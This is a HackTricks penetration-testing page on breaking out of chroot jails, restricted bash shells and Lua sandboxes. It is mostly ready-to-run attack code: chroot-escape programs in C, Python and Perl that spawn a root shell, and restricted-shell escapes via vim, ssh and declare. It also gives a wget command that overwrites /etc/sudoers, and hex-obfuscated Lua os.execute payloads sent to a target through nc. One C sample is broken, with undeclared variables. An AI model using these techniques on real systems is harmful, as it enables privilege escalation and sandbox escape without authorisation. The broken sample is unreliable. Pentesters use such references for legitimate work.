hacktricks/linux-hardening/privilege-escalation/escaping-from-limited-bash.md

# Escaping from Jails

<details>

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</details>

## **GTFOBins**

**Search in** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **if you can execute any binary with "Shell" property**

## Chroot Escapes

From [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): The chroot mechanism is **not intended to defend** against intentional tampering by **privileged** (**root**) **users**. On most systems, chroot contexts do not stack properly and chrooted programs **with sufficient privileges may perform a second chroot to break out**.\
Usually this means that to escape you need to be root inside the chroot.

{% hint style="success" %}
The **tool** [**chw00t**](https://github.com/earthquake/chw00t) was created to abuse the following escenarios and scape from `chroot`.
{% endhint %}

### Root + CWD

{% hint style="warning" %}
If you are **root** inside a chroot you **can escape** creating **another chroot**. This because 2 chroots cannot coexists (in Linux), so if you create a folder and then **create a new chroot** on that new folder being **you outside of it**, you will now be **outside of the new chroot** and therefore you will be in the FS.

This occurs because usually chroot DOESN'T move your working directory to the indicated one, so you can create a chroot but e outside of it.
{% endhint %}

Usually you won't find the `chroot` binary inside a chroot jail, but you **could compile, upload and execute** a binary:

<details>

<summary>C: break_chroot.c</summary>

```c
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>

//gcc break_chroot.c -o break_chroot

int main(void)
{
    mkdir("chroot-dir", 0755);
    chroot("chroot-dir");
    for(int i = 0; i < 1000; i++) {
        chdir("..");
    }
    chroot(".");
    system("/bin/bash");
}
```

</details>

<details>

<summary>Python</summary>

```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
    os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
```

</details>

<details>

<summary>Perl</summary>

```perl
#!/usr/bin/perl
mkdir "chroot-dir";
chroot "chroot-dir";
foreach my $i (0..1000) {
    chdir ".."
}
chroot ".";
system("/bin/bash");
```

</details>

### Root + Saved fd

{% hint style="warning" %}
This is similar to the previous case, but in this case the **attacker stores a file descriptor to the current directory** and then **creates the chroot in a new folder**. Finally, as he has **access** to that **FD** **outside** of the chroot, he access it and he **escapes**.
{% endhint %}

<details>

<summary>C: break_chroot.c</summary>

```c
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>

//gcc break_chroot.c -o break_chroot

int main(void)
{
    mkdir("tmpdir", 0755);
    dir_fd = open(".", O_RDONLY);
    if(chroot("tmpdir")){
        perror("chroot");
    }
    fchdir(dir_fd);
    close(dir_fd);  
    for(x = 0; x < 1000; x++) chdir("..");
    chroot(".");
}
```

</details>

### Root + Fork + UDS (Unix Domain Sockets)

{% hint style="warning" %}
FD can be passed over Unix Domain Sockets, so:

* Create a child process (fork)
* Create UDS so parent and child can talk
* Run chroot in child process in a different folder
* In parent proc, create a FD of a folder that is outside of new child proc chroot
* Pass to child procc that FD using the UDS
* Child process chdir to that FD, and because it's ouside of its chroot, he will escape the jail
{% endhint %}

### &#x20;Root + Mount

{% hint style="warning" %}
* Mounting root device (/) into a directory inside the chroot
* Chrooting into that directory

This is possible in Linux
{% endhint %}

### Root + /proc

{% hint style="warning" %}
* Mount procfs into a directory inside the chroot (if it isn't yet)
* Look for a pid that has a different root/cwd entry, like: /proc/1/root
* Chroot into that entry
{% endhint %}

### Root(?) + Fork

{% hint style="warning" %}
* Create a Fork (child proc) and chroot into a different folder deeper in the FS and CD on it
* From the parent process, move the folder where the child process is in a folder previous to the chroot of the children
* This children process will find himself outside of the chroot
{% endhint %}

### ptrace

{% hint style="warning" %}
* Time ago users could debug its own processes from a process of itself... but this is not possible by default anymore
* Anyway, if it's possible, you could ptrace into a process and execute a shellcode inside of it ([see this example](linux-capabilities.md#cap\_sys\_ptrace)).
{% endhint %}

## Bash Jails

### Enumeration

Get info about the jail:

```bash
echo $SHELL
echo $PATH
env
export
pwd
```

### Modify PATH

Check if you can modify the PATH env variable

```bash
echo $PATH #See the path of the executables that you can use
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
echo /home/* #List directory
```

### Using vim

```bash
:set shell=/bin/sh
:shell
```

### Create script

Check if you can create an executable file with _/bin/bash_ as content

```bash
red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path
```

### Get bash from SSH

If you are accessing via ssh you can use this trick to execute a bash shell:

```bash
ssh -t user@<IP> bash # Get directly an interactive shell
ssh user@<IP> -t "bash --noprofile -i"
ssh user@<IP> -t "() { :; }; sh -i "
```

### Declare

```bash
declare -n PATH; export PATH=/bin;bash -i
 
BASH_CMDS[shell]=/bin/bash;shell -i
```

### Wget

You can overwrite for example sudoers file

```bash
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
```

### Other tricks

[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\
[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells\*\*]\(https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
[https://gtfobins.github.io](https://gtfobins.github.io/\*\*]\(https/gtfobins.github.io)\
**It could also be interesting the page:**

{% content-ref url="../useful-linux-commands/bypass-bash-restrictions.md" %}
[bypass-bash-restrictions.md](../useful-linux-commands/bypass-bash-restrictions.md)
{% endcontent-ref %}

## Python Jails

Tricks about escaping from python jails in the following page:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}

## Lua Jails

In this page you can find the global functions you have access to inside lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base)

**Eval with command execution:**

```bash
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
```

Some tricks to **call functions of a library without using dots**:

```bash
print(string.char(0x41, 0x42))
print(rawget(string, "char")(0x41, 0x42))
```

Enumerate functions of a library:

```bash
for k,v in pairs(string) do print(k,v) end
```

Note that every time you execute the previous one liner in a **different lua environment the order of the functions change**. Therefore if you need to execute one specific function you can perform a brute force attack loading different lua environments and calling the first function of le library:

```bash
#In this scenario you could BF the victim that is generating a new lua environment 
#for every interaction with the following line and when you are lucky
#the char function is going to be executed
for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end

#This attack from a CTF can be used to try to chain the function execute from "os" library
#and "char" from string library, and the use both to execute a command
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
```

**Get interactive lua shell**: If you are inside a limited lua shell you can get a new lua shell (and hopefully unlimited) calling:

```bash
debug.debug()
```

## References

* [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Slides: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf))

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>